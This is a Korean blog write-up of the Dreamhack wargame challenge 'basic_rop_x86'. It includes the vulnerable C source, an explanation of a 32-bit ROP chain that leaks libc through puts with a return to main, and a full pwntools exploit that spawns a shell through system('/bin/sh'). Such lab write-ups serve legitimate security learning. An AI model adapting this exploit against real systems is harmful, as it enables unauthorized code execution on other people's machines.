Fascination
article thumbnail

basic_rop_x86

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.


 

# 문제 분석

- 소스 코드

  • main 함수에서 read 함수와 write 함수를 사용함
  • initialize 함수에서 puts 함수를 사용함 → 인자를 하나만 필요로 하기 때문에 이를 활용하여 페이로드를 작성하면 좋을 것
  • 데이터를 읽어들일 수 있는 함수는 read 함수이며, 이를 통해 system 함수의 주소를 구하게 된다면 이미 ROP 페이로드가 전송된 이후이므로 다시 main 함수로 돌아가야 할 것
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

- checksec

  • NX enabled
  • 카나리 X

 

 

# Exploit

- 과정

  • read의 plt와 got 그리고 puts의 plt를 읽어 익스플로잇에 활용할 것임
    • 이때 32bit 환경에서 함수가 실행될 때 스택 내에서 인자를 가져오기 때문에 함수 실행 이후 인자에 대한 스택 정리가 필요하기 때문에 가젯을 사용하게 됨
    • 함수와 불러와지는 인자 사이에 4byte의 dummy 값이 존재하는데 이는 호출되는 함수가 종료된 후 돌아갈 주소를 의미하며 ret과 같은 역할을 하게 되므로 이 위치에 가젯을 삽입하여 스택을 정리할 수 있음
    • 사용하고자하는 puts는 하나의 인자를 필요하므로 스택 정리를 위해서는 pop [아무 레지스터]에 해당하는 가젯이 필요함 → 해당 바이너리에서는 pop ebp 가젯을 찾을 수 있었음

  • read 함수 주소를 읽기 위해 puts 함수를 활용할 것
    • main 함수 내의 코드가 실행되면서 write(1, buf, sizeof(buf))를 통해 입력한 값이 먼저 출력된 후 main 함수의 ret을 puts_plt의 주소로 한 후 dummy 위치에 main의 시작 주소를 준 후(ret2main)에 인자로 read_got를 준다면 원하는 값을 출력할 수 있을 것임
    • ret 조작을 위해서는 다음과 같이 크기가 0x40인 buf와 dummy + ebp를 모두 덮어야 함

  • 32 비트 환경에서, 라이브러리의 주소는 0xf7로 시작한다는 점을 활용하여 read 함수의 주소를 받아올 수 있음
    • 이를 이용하면 64bit 환경에서의 문제풀이와 다르게 더미값을 먼저 받아줄 필요가 없음
    • 64bit 환경에서도 해당 개념을 활용하려면 라이브러리의 주소가 0x7f로 시작함을 알고있어야 함

  • read 함수의 주소를 얻기 위한 페이로드는 다음과 같음
payload = b"A"*0x48
payload += p32(puts_plt)
payload += p32(pop_ebp)
payload += p32(read_got)
payload += p32(main)
p.send(payload)

read = u32(p.recvuntil(b'\xf7')[-4:])
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
  • 다음 명령어를 통해 libc.so.6 내에 존재하는 "/bin/sh" 문자열까지의 offset을 구할 수 있음

  • "/bin/sh" 문자열과 system 함수의 주소를 통해 ret2main 기법을 활용하여 다음과 같이 새로운 rop chain을 구성할 수 있음
binsh = lb + 0x15902b

payload = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp)
payload += p32(binsh)
p.send(payload)

 

- Exploit Code

from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))

p = process("./basic_rop_x86")
#p = remote("host3.dreamhack.games", 10896)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_ebp = 0x0804868b
main = e.symbols['main']

payload = b"A"*0x48
payload += p32(puts_plt)
payload += p32(pop_ebp)
payload += p32(read_got)
payload += p32(main)
p.send(payload)

read = u32(p.recvuntil(b'\xf7')[-4:])
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x15902b

slog("libc base",lb)
slog("read", read)
slog("system",system)
slog("binsh",binsh)

payload = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp)
payload += p32(binsh)
p.send(payload)

p.interactive()

 

 

# 실행결과

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] file-download-1  (0) 2023.02.08
[Dreamhack] basic_rop_x64  (2) 2022.09.18
[Dreamhack] out_of_bound  (0) 2022.09.15
[Dreamhack] Return Oriented Programming  (0) 2022.09.14
[Dreamhack] ssp_001  (0) 2022.09.13
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!